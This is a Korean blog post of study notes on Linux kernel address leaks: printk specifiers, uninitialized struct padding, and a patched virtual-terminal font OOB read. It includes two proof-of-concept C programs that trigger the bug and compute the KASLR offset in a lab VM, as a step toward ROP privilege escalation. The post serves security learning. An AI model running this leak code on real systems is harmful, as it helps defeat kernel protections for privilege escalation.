CIDY
[Linux Kernel] 5. Kernel Leak 본문
커널 주소 노출
2.6.29이하 버전의 커널에서는 /proc/[PID]/stat이나 /proc/[PID]/wchan파일을 통해 커널 주소를 간단히 얻을 수 있었다. (wchan필드는 원래 태스크가 대기 상태에 있을 때 마지막으로 실행한 커널 함수 주소를 출력해서 태스크 대기 사유를 알 수 있도록 한 것인데, kaslr도입 이후 사용자 공간에서도 /proc/..파일을 읽을 수 있으니 문제가 되었다.)
최신 커널 버전에서는 관리자 권한이 있어야 wchan에 접근할 수 있고, 읽어도 커널 주소 대신 함수명 심볼이나 0을 출력하도록 되어 있다.
따라서 위 파일을 읽는 방법은 더이상 사용 가능하지 않다. 대신 dmesg(커널 로그)를 출력하는 방법이 있다.
커널 코드에서 printk라는 함수를 이용하면 커널 로그에 메시지를 남길 수 있다.
https://www.kernel.org/doc/html/latest/core-api/printk-formats.html
printk의 사용법은 printf와 유사하다. 만약 커널이나 커널 모듈에서 디버깅용 등으로 커널 포인터 값을 출력하면, 커널 로그에 접근할 권한이 있는 사용자는 커널 주소를 획득할 수 있게 된다.
이를 방지하기 위해 %p로 주소를 출력할 경우 주소의 해쉬값을 출력하도록 printk를 바꾸어 릭을 막아두었다. 하지만 같은 주소의 경우 해시값도 같기 때문에, 같은 주소가 여러 번 출력되는 경우를 구분할 수는 있다.
커널 코드가 pritnk를 통해 커널 주소를 릭하게 된다면, 일반 사용자는 커널 로그에 접근할 수 없지만, 권한이 있는 사용자는 이를 읽어 릭이 가능하다.
%p | 포인터 출력. 주소가 커널 범위일 경우 해쉬값 출력 | 0x0 → 0000000000000000 0xfffffff8108157b → 0x0000000070d2fc92 |
%p | 해쉬 처리 없이 포인터 출력 | 0x0 → 0000000000000000 0xffffffff8108157b → 0xffffffff8108157b |
%pS, %ps, %pSR, %pB | 심볼로 포인터 출력. 주소에 인접한 심볼이 없는 경우 커널 주소 그대로 출력 | 0xffffffff8108157b → commit_creds+0x0/0x14e (%pS) 0xffffffffffc8c7d9 → ffffffffffc8c7d9 |
%pK | 포인터 출력. kptr_restrict 커널 파라미터가 1이 아니거나 현재 프로세스가 CAP_SYSLOG 권한이 없는 경우 %p처럼 해쉬값 출 | 0xffffffff8108157b → 0xffffffff8108157b (kptr_restrict=1 이고 CAP_SYSLOG 권한이 있는 경우) 0xfffffff8108157b → 0x0000000070d2fc92 (그 외) |
초기화되지 않은 메모리
버퍼가 초기화되지 않은 경우 릭이 될 수도 있다. 커널은 네트워크 카드로 외부와 통신할수도 있고, 사용자 공간과 정보를 교환하기도 한다. 따라서 공격자는 네트워크에 있을 수도 있고, 커널 아래 권한이 분리된 다른 사용자일수도 있다. 따라서 양쪽 모두에 있어 버퍼 초기화를 신경써주어야 한다.
특히 커널 데이터를 사용자 공간으로 복사하는 put_user, copy_to_user함수 등을 사용할 때 전달 버퍼를 초기화했는지 확인하여야 한다.
C언어에서는 struct STRUCT_NAME VARNAME = { ... }; 구문을 통해 구조체를 선언과 동시에 초기화할 수 있다. 하지만 이때, 구조체가 차지하는 메모리 전체를 초기화한다는 보장이 없다는 문제가 있다.
구조체를 선언하면 컴파일러에서 자체적으로 변수의 자료형에 따라 여백을 패딩해서 정렬해준다. 따라서 초기화 구문을 사용하면 각 필드 값은 그 자료형에 맞추어 잘 설정되겠지만, 그 사이 여백은 초기화되지 않을 수 있으며, 이를 이용해 커널 주소를 릭할 수도 있다.
이는 대입 연산자로 구조체를 복사하는 경우에도 마찬가지이다. 각 필드는 잘 복사되겠지만, 그 사이의 여백은 복사되지 않아 값이 남을 수 있기 때문이다.
따라서 외부로 출력되는 구조체나 버퍼는 memset함수로 초기화해주어야 한다.
이러한 취약점을 방지하기 위해 gcc컴파일러에 부착하여 사용하는 Structleak플러그인이 존재한다. 이 플러그인은 커널 주소 릭 가능성을 탐지하면 경고를 출력해주고, 추가적인 옵션을 지정하면 C코드에서 초기화하지 않은 구조체를 자동으로 초기화 해 준다. (중복된 초기화로 인해 약간의 성능 하락이 발생할 수는 있다.)
CONFIG_GCC_PLUGIN_STRUCTLEAK=y
CONFIG_INIT_STACK_ALL=y
CONFIG_GCC_PLUGIN_STRUCTLEAK_VERBOSE=y
커널 빌드 시 .config파일을 통해 Structleak을 활성화할 수 있다. 위와 같이 해주면 Structleak검사를 최대로 두게 된다.
OOB Read
스택, 힙, 전역 변수 등에서 oob취약점을 통해 커널 주소를 릭할 수도 있다.
실습 커널상에는 가상 터미널(VT)구현이 소프트웨어 프레임버퍼와 함께 사용될 때 infoleak취약점이 존재한다. (가상 터미널은 Ctrl-Alt-F1...F12키를 눌렀을 때 보이는 터미널이다.) VT는 inctl시스템 콜을 이용해 제어할 수 있으며, 그 중에서 VT_RESIZE, VT_RESIZEX명령을 사용하면 터미널 크기를 조정할 수 있다.
VT_RESIZEX명령어는 특이하게 텍스트 라인 높이를 설정할 수 있는 v_clin필드가 존재한다. (보통의 가상 터미널은 커널에 내장된 8*16 글자 크기의 폰트를 기본값으로 하므로 라인 높이 역시 16고정이다.)
소프트웨어 프레임버퍼를 사용한다고 가정했을 때, v_clin을 16보다 큰 값으로 설정하면 폰트 데이터 크기를 잘못 인식하면서 폰트가 깨진다. 이 상태에서 GIO_FONT명령을 사용하면 OOB Read가 발생하면서 폰트 메모리 뒤의 메모리를 읽어올 수 있게 된다.
(최신 버전에서는 v_clin필드를 무시하도록 패치되었다.)
이 부분이 프레임버퍼 VT콘솔 초기화 로직 중 폰트를 초기화하는 부분이다. fontname은 기본적으로 빈 문자열로 설정되어 있으므로 get_default_font를 호출하게 된다.
이 함수는 모니터 해상도 및 폰트 크기 제한에 따라 적절한 폰트를 선택하는데, 보통 VGA8x16 폰트가 선택된다.
vc_fond.data에는 폰트 비트맵 데이터가 저장되는데, 이 데이터의 크기는 (vc_font.width + 7) / 8 * vc_font.height * vc_font.charcount 바이트로 계산된다. 즉, vc_font의 widrh, height, charcount중 하나라도 조작 가능하다면 OOB Read를 일으킬 수 있는 것이다.
소프트웨어 프레임버퍼를 사용하는 경우, 커널은 프로그램이 콘솔에 메시지를 출력할 때 마다 미리 지정된 폰트 데이터를 화면에 복사하는 방식으로 출력한다.
어떤 응용 프로그램이 터미널에 write()시스템 콜을 호출하면, tty_fops구조체에 지정된 tty_write함수가 호출된다. tty_write함수에서 ld->ops는 VT를 사용하는 경우 con_ops구조체 변수를 가리킨다. 따라서 do_tty_write호출 시 첫 번째 인자로 con_write함수 포인터를 넘기게 되며, do_tty_write는 인자로 넘겨진 함수 포인터를 호출한다. (con_write호출)
con_write함수는 다시 do_con_write함수를 호출하고, 이 함수는 내부적으로 con_flush를 호출한다. 프레임버퍼가 콘솔을 사용한다고 하면, con_putcs함수 포인터는 fbcon_putcs함수를 가리키고, 프레임버퍼 기본 설정(화면 회전X, 타일링 사용X)에서 fbcon_putcs함수는 ops->putcs를 통해 bit_putcs함수를 호출한다.
static void bit_putcs(struct vc_data *vc, struct fb_info *info,
const unsigned short *s, int count, int yy, int xx,
int fg, int bg)
{
...
struct fb_image image;
u32 width = DIV_ROUND_UP(vc->vc_font.width, 8);
u32 cellsize = width * vc->vc_font.height;
...
u32 mod = vc->vc_font.width % 8, cnt, pitch, size;
...
image.height = vc->vc_font.height;
...
image.width = vc->vc_font.width * cnt;
...
if (!mod)
bit_putcs_aligned(vc, info, s, attribute, cnt, pitch,
width, cellsize, &image, buf, dst);
...
}
여기서 vc_font.width는 8로 설정되어 있으므로 mod는 0이 되고, 그에 따라 bit_putcs_aligned함수가 호출된다.
static inline void bit_putcs_aligned(struct vc_data *vc, struct fb_info *info,
const u16 *s, u32 attr, u32 cnt,
u32 d_pitch, u32 s_pitch, u32 cellsize,
struct fb_image *image, u8 *buf, u8 *dst)
{
u16 charmask = vc->vc_hi_font_mask ? 0x1ff : 0xff;
u32 idx = vc->vc_font.width >> 3;
u8 *src;
while (cnt--) {
src = vc->vc_font.data + (scr_readw(s++)&
charmask)*cellsize;
...
}
info->fbops->fb_imageblit(info, image);
}
bit_putcs_aligned함수 내부에서는 문자를 표시하기 위해 vc_font.data에 접근한다. scr_readw(s++)는 프로그램이 출력한 문자 코드에 대응되는데, charmask에 의해 최댓값이 255나 511로 제한된다.
만약 (scr_readw(s++)*charmask)*cellsize값이 폰트 데이터 크기를 초과하면 src는 비트맵 데이터의 범위를 넘고, 최종적으로 커널 데이터가 화면에 출력될 수 있다.
u32 width = DIV_ROUND_UP(vc->vc_font.width, 8);
u32 cellsize = width * vc->vc_font.height;
bit_putcs함수에서 cellsize의 계산식은 위와 같다. 따라서 vc_font.width를 조작하면 범위를 넘어 데이터를 읽어올 수 있다.
VT를 대상으로 한 ioctl명령어는 vt_ioctl함수에서 처리된다. 명령 번호는 cmd인자로 넘겨지며, vt_ioctl은 switch문을 이용해 명령에 따른 작업을 수행한다.
/*
* We handle the console-specific ioctl's here. We allow the
* capability to modify any console, not just the fg_console.
*/
int vt_ioctl(struct tty_struct *tty,
unsigned int cmd, unsigned long arg)
{
...
switch (cmd) {
...
case VT_RESIZEX:
...
for (i = 0; i < MAX_NR_CONSOLES; i++) {
...
console_lock();
vcp = vc_cons[i].d;
if (vcp) {
...
if (v.v_clin)
vcp->vc_font.height = v.v_clin;
...
}
console_unlock();
}
...
}
out:
return ret;
}
만약 VT_RESIZEX명령을 호출하면서 v_clin값을 설정하면 위와 같이 모든 VT의 폰트 높이를 v_clin값으로 설정한다. 따라서 가상 터미널에 VT_RESIZEX명령을 내릴 때 v_clin값을 vcp->vc_font.height보다 높은 값으로 설정하면 OOB를 일으킬 수 있다.
이처럼 v_clin으로 폰트 높이를 원래 값보다 더 높게 설정하면 콘솔 출력에 문제가 생긴다. 위 사진에서 height = 32의 경우 텍스트 높이가 두 배가 되었고, 이상하게 보이는 부분은 OOB로 인해 커널 데이터가 릭된 것이다.
만약 사용자가 video그룹에 속해 있을 경우, /dev/fb0 가상 파일을 통해 화면 이미지를 적재하고 릭 부분을 추출해 커널 베이스 주소를 구할 수 있다.
만약 /dev/fb0장치에 접근할 수 없어도 OOB read를 수행할 수 있다.
case GIO_FONT: {
op.op = KD_FONT_OP_GET;
op.flags = KD_FONT_FLAG_OLD;
op.width = 8;
op.height = 32;
op.charcount = 256;
op.data = up;
ret = con_font_op(vc_cons[fg_console].d, &op);
break;
}
앞서 살펴본 vt_ioctl함수에서 GIO_FONT명령을 처리하는 부분을 이용할 수 있다.
int con_font_op(struct vc_data *vc, struct console_font_op *op)
{
switch (op->op) {
...
case KD_FONT_OP_GET:
return con_font_get(vc, op);
...
}
return -ENOSYS;
}
con_font_op함수는 op->op에 KD_FONT_OP_GET이 지정되어 있으므로 위와 같이 con_font_get함수를 호출하게 된다.
con_font_get함수는 폰트 데이터를 임시로 저장할 버퍼를 할당한 뒤, vc->vc_sw->con_font_get을 호출한다. 프레임버퍼의 경우에는 fbcon_font_get함수가 되겠다.
static int fbcon_get_font(struct vc_data *vc, struct console_font *font)
{
u8 *fontdata = vc->vc_font.data;
u8 *data = font->data;
int i, j;
font->width = vc->vc_font.width;
font->height = vc->vc_font.height;
font->charcount = vc->vc_hi_font_mask ? 512 : 256;
if (!font->data)
return 0;
if (font->width <= 8) {
j = vc->vc_font.height;
for (i = 0; i < font->charcount; i++) {
memcpy(data, fontdata, j);
memset(data + j, 0, 32 - j);
data += 32;
fontdata += j;
}
} else if (font->width <= 16) {
...
}
return 0;
}
앞서 살펴본 텍스트 출력 시와 마찬가지로 vc->vc_font.data에 접근하여 동일한 종류의 취약점이 발생하게 된다. 따라서 GIO_FONT로 폰트 데이터를 추출하면 앞서 출력한 화면 결과에 사용된 폰트와 동일한 데이터를 획득할 수 있다.
memset으로 글자 간 간격을 0으로 채우기는 하지만, 높이가 32인 경우 간격이 사라지므로 이는 문제되지 않는다. (위 코드상에서 j가 32이므로 memset을 수행할 공간이 0인 것이다.)
그리고 for문의 마지막(fontdata += j)에서 j는 32이고, charcount가 앞서 수행된 삼항 연산자에 의해 256이므로 32 * 256바이트만큼 복사를 시도하므로 OOB가 발생한다.
이외에도 타입 혼동에 의해 OOB접근이 발생하는 경우도 존재한다. 인지된 구조체 타입의 크기가 실제 크기보다 크다면 OOB가 발생할수도 있는 것이다.
가령, 특정 주소에 16바이트 크기의 구조체가 위치하여 있는데, 이 주소가 본래 타입과 무관한 64바이트 구조체 주소로 해석된다면 나머지 48바이의 범위 밖 메모리 공간에 접근할 수 있는 것이다.
Kernel Leak
앞서 받은 파일에서 실행 스크립트(run.sh)를 수정해 kaslr을 활성화시켰다. 따라서 커널 주소 릭이 별도로 필요하고, 앞서 언급한 OOB취약점을 트리거해야 한다.
-display none --> -display gtk 또는 -display sdl
-vga none --> -vga std 또는 -vga virtio
아 그리고 run.sh에서 위 부분도 수정해주어야 가상 터미널을 사용할 수 있게 된다.
그리고 일반 사용자가 특정 tty에 VT_RESIZEX나 GIOFONT같은걸 사용하려면 현재 프로세스가 그 tty에 종속되어야 하는데 그건 그냥 그 tty에서 명령을 실행하면 되므로 별 문제 없다.
#include <linux/kd.h>
#include <linux/vt.h>
#include <sys/ioctl.h>
unsigned char fontdata[8192];
int main(void)
{
/* 반드시 VT 터미널에서 실행 */
struct vt_consize cns = { 0 };
cns.v_clin = 32;
ioctl(/* FD */ 0, VT_RESIZEX, &cns);
ioctl(/* FD */ 0, GIO_FONT, fontdata);
/* &fontdata[0] 에는 fontdata_8x16 데이터 위치 */
/* &fontdata[4096] 부터 OOB 데이터 위치 */
return 0;
}
이 poc코드를 실행시키면 oob취약점을 트리거해서 데이터를 릭할 수 있다.
위 코드를 실행한 결과이다.
fontdata + 0x17c8에는 seq_lseek의 주소가 들어있다.
커널 베이스 주소가 0xffffffffa7000000이라고 가정하면 메모리 상태는 위와 같다.
따라서 kaslr오프셋은 0xffffffffa7222476 - 0xffffffff81222476 = 0x26000000 이다.
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <sys/ioctl.h>
#define ADDR_seq_lseek (0xffffffff81222476ULL)
#define ADDR_fontdata_8x16 (0xffffffff81a9c840ULL)
#define ADDR_gpiolib_operations (0xffffffff81a9e000ULL)
/*
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
...
};
*/
#define OFFSET_file_operations_llseek 8
static unsigned char fontdata_8x16[8192];
int main(int argc, char **argv)
{
unsigned long long seq_lseek_addr, reloc_offset;
ioctl(0, KDFONTOP, &(struct console_font_op){.op = KD_FONT_OP_SET_DEFAULT});
ioctl(0, VT_RESIZEX, &(struct vt_consize){.v_clin = 32});
ioctl(0, GIO_FONT, fontdata_8x16);
ioctl(0, KDFONTOP, &(struct console_font_op){.op = KD_FONT_OP_SET_DEFAULT});
ioctl(0, VT_RESIZEX, &(struct vt_consize){.v_clin = 16});
seq_lseek_addr = *(unsigned long long *) (fontdata_8x16 +
(ADDR_gpiolib_operations - ADDR_fontdata_8x16) +
OFFSET_file_operations_llseek);
reloc_offset = seq_lseek_addr - ADDR_seq_lseek;
if (reloc_offset & 0xfff) {
fprintf(stderr, "Failed!\n");
return EXIT_FAILURE;
}
printf("KASLR offset: %#llx\n", reloc_offset);
return 0;
}
위 코드를 실행해보면 결과는 다음과 같다.
오프셋이 0x22000000으로 나왔다.
뭔가 약간 다르지만 아무튼 커널 베이스 주소를 알아내었으니 ROP로 권한 상승을 해 보자.
아니 그런데 가상머신 내부에 python이 없어서 실습을 해볼 수가 없었다.
원래는 이렇게 하면 된다고.
일단 원리는 알았으니 익스는 패스하자.
REF.
https://dreamhack.io/lecture/courses/68
'Hack > Kernel' 카테고리의 다른 글
[Linux Kernel] 7. Linux Kernel Protection (1) | 2023.07.27 |
---|---|
[Linux Kernel] 6. ret2usr (0) | 2023.07.26 |
[Linux Kernel] 4. prepare & commit (1) | 2023.07.25 |
[Linux Kernel] 3. KASLR (0) | 2023.07.25 |
[Linux Kernel] 2. Kernel Debugging (0) | 2023.07.25 |